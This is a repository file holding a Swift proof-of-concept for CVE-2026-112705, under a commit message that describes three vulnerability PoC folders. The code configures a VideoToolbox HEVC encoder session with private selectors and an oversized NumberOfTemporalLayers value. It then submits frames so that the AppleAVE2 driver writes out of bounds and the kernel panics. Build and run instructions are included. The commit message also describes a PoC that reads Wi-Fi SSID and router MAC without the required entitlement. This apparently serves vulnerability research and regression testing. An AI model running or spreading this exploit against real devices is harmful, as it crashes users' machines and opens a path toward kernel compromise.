Files
cinder27/CVE-2026-112705/CVE-2026-112705.swift
T
JBJF ed682e859b v2.1 — CVE-2026-112705 / 112621 / 84636
Three public research arrivals, each with a .swift and .c POC folder:

- CVE-2026-112705 (AppleAVE2 NumberOfTemporalLayers): app split into a
  property probe (ave.ntl) and a deliberate fire module (ave.ntl.fire);
  C twin carries a --force-host gate because a frame submit reaches the
  same driver that panicked the dev Mac, so the host only builds it
- CVE-2026-112621 (LinkPresentation LPAnimatedImageTranscoder): 256x16 ->
  256x48 container, loopback og:image delivery, LPMetadataProvider; probe
  checks the pool math, fire runs the real transcode; C twin reproduces the
  48-row clear against a guard page (32,768 B past the 16,384-byte pool)
- CVE-2026-84636 (configd dynamic store): SSID + router MAC without the
  wifi-info entitlement, compared in-process with CNCopyCurrentNetworkInfo

56 modules, 34 CVE folders, 45 Swift POC files, 34 C twins. Device IPA
2.1 build 4; simulator regression: sc.dynamicstore / ave.ntl / lp.heic all
done (overflow=32768, NTL refused 0/4 on the simulator's encoder path).
2026-10-31 15:27:09 +08:00

106 lines
4.9 KiB
Swift

// ave.ntl · AppleAVE2 · VideoToolbox HEVC encoder · CVE-2026-112705
// Kernel out-of-bounds write through NumberOfTemporalLayers.
//
// The encoder session accepts a layer count far past the table the driver sized.
// Setting 16463 and submitting one frame makes AppleAVE2 write at a fixed offset
// past its allocation; the kernel faults and the device panics. 16462 survives.
// iOS 27.0-27.1 carry the defect, 27.2 refuses the property with -12900.
// macOS carries the same driver: encode with a poisoned layer count can panic the
// host kernel, so this file refuses to submit a frame unless --force-host is given.
//
// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112705 CVE-2026-112705.swift \
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo
// Run: ./cve-2026-112705 [layers] [--force-host] default 16463
import Foundation
import VideoToolbox
import CoreMedia
import CoreVideo
let args = CommandLine.arguments
let forceHost = args.contains("--force-host")
let layers = args.dropFirst().first(where: { Int($0) != nil }).flatMap { Int($0) } ?? 16463
func fourCC(_ v: OSStatus) -> String {
let n = UInt32(bitPattern: v)
let bytes = [UInt8((n >> 24) & 0xff), UInt8((n >> 16) & 0xff), UInt8((n >> 8) & 0xff), UInt8(n & 0xff)]
if bytes.allSatisfy({ $0 >= 0x20 && $0 < 0x7f }) { return "'" + String(bytes: bytes, encoding: .ascii)! + "'" }
return "\(v)"
}
func set(_ session: VTCompressionSession, _ key: String, _ value: CFTypeRef) -> OSStatus {
VTSessionSetProperty(session, key: key as CFString, value: value)
}
func readBack(_ session: VTCompressionSession, _ key: String) -> String {
var out: CFTypeRef?
let st = VTSessionCopyProperty(session, key: key as CFString, allocator: kCFAllocatorDefault, valueOut: &out)
guard st == 0, let v = out else { return "copyErr=\(st)" }
return "value=\(v)"
}
var session: VTCompressionSession?
// HEVC 1280x720 is the smallest surface the AVE2 driver accepts for this path.
let create = VTCompressionSessionCreate(allocator: kCFAllocatorDefault,
width: 1280, height: 720,
codecType: kCMVideoCodecType_HEVC,
encoderSpecification: nil,
imageBufferAttributes: nil,
compressedDataAllocator: nil,
outputCallback: nil,
refcon: nil,
compressionSessionOut: &session)
print("VTCompressionSessionCreate(hvc1) status=\(create) \(fourCC(create))")
guard create == 0, let s = session else { exit(1) }
// The recipe: private usage selector 1 with rate-control mode 20 puts the session on
// the AVE2 firmware path; real-time off keeps the frame queued.
let su = set(s, "EncoderUsage", NSNumber(value: 1))
let sr = set(s, "RCMode", NSNumber(value: 20))
_ = set(s, kVTCompressionPropertyKey_RealTime as String, kCFBooleanFalse)
print("EncoderUsage=\(su) RCMode=\(sr)")
let sn = set(s, "NumberOfTemporalLayers", NSNumber(value: layers))
print("NumberOfTemporalLayers=\(layers) status=\(sn) readback: \(readBack(s, "NumberOfTemporalLayers"))")
if sn != 0 {
print("property refused — fixed build (27.2+) or a platform without the AVE2 property")
VTCompressionSessionInvalidate(s)
exit(0)
}
#if os(macOS)
if !forceHost {
print("host guard: property accepted but no frame submitted.")
print("submitting a frame here can panic the macOS kernel through AppleAVE2.")
print("re-run with --force-host on a disposable machine to fire it.")
VTCompressionSessionInvalidate(s)
exit(0)
}
#endif
// One IOSurface-backed bi-planar frame is enough: the write lands while the driver
// prepares the frame, before any compressed output exists.
var attrs: [CFString: Any] = [:]
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
var pixelBuffer: CVPixelBuffer?
let pc = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
attrs as CFDictionary, &pixelBuffer)
print("CVPixelBufferCreate status=\(pc)")
guard pc == 0, let pb = pixelBuffer else { exit(1) }
for i in 0..<4 {
let pts = CMTime(value: CMTimeValue(i), timescale: 30)
let st = VTCompressionSessionEncodeFrame(s, imageBuffer: pb,
presentationTimeStamp: pts,
duration: .invalid,
frameProperties: nil,
infoFlagsOut: nil) { _, _, _ in }
print("encode[\(i)] status=\(st) \(fourCC(st))")
if st != 0 { break }
}
VTCompressionSessionCompleteFrames(s, untilPresentationTimeStamp: .invalid)
print("survived — this build does not panic (fixed build or simulator)")
VTCompressionSessionInvalidate(s)